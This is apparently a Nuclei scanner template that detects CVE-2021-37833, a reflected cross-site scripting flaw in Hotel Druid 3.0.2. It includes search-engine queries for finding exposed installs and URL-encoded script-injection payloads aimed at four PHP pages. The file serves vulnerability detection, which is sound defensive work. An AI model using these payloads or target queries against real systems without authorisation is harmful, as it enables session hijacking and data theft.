id: CVE-2021-37833

info:
  name: Hotel Druid 3.0.2 - Cross-Site Scripting
  author: pikpikcu,s4e-io
  severity: medium
  description: Hotel Druid 3.0.2 contains a cross-site scripting vulnerability in multiple pages which allows for arbitrary execution of JavaScript commands.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/dievus/CVE-2021-37833
    - https://www.hoteldruid.com
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37833
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37833
    cwe-id: CWE-79
    epss-score: 0.11566
    epss-percentile: 0.93738
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.2:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: digitaldruid
    product: hoteldruid
    shodan-query:
      - http.title:"hoteldruid"
      - http.favicon.hash:-1521640213
    fofa-query:
      - title="hoteldruid"
      - icon_hash=-1521640213
    google-query: intitle:"hoteldruid"
  tags: cve2021,cve,hoteldruid,xss,digitaldruid,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1'
      - '{{BaseURL}}/storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1'
      - '{{BaseURL}}/tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1'
      - '{{BaseURL}}/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: body
        words:
          - 'hoteldruid'
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210093fd3e2d026304cfe90f47411cfaa3e2c938505a8e14b916a9316234c67bbe69022023cc10188ef3e79017288d95bfa8159a1db8be46fcf99e05da3eeb2937dc69ab:922c64590222798bb761d5b6d8e72950